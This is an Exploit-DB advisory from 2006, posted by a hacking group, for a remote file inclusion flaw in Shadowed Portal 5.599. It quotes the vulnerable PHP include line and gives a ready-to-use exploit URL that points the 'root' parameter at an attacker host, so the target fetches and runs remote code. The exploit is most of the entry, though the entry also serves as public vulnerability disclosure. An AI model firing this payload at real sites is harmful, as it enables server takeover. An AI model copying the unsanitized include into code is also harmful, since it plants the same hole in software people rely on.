Shadowed Portal <= 5.599 root Remote File Include Vulnerability

2006-09-13T00:00:00
ID EDB-ID:2361
Type exploitdb
Reporter mad_hacker
Modified 2006-09-13T00:00:00

Description

Shadowed Portal <= 5.599 (root) Remote File Include Vulnerability. CVE-2006-4826,CVE-2006-4885. Webapps exploit for php platform

                                        
                                            ====================== C Y B E R - W A R R I O R  T I M 
======================

+Shadowed Portal 5.599 (root) Remote File Include Vulnerability

==============================================================================

+Author: mad_hacker (turkish hacker)

==============================================================================

+Class: Remote

==============================================================================

+Vuln Code: require($root."/footer.php");

==============================================================================,

+Exploit: 
http://www.site.com/[script_path]/bottom.php?root=http://evil_scripts?

==============================================================================

+Thanx: xoron, Leak

====================== C Y B E R - W A R R I O R  T I M 
======================

# milw0rm.com [2006-09-13]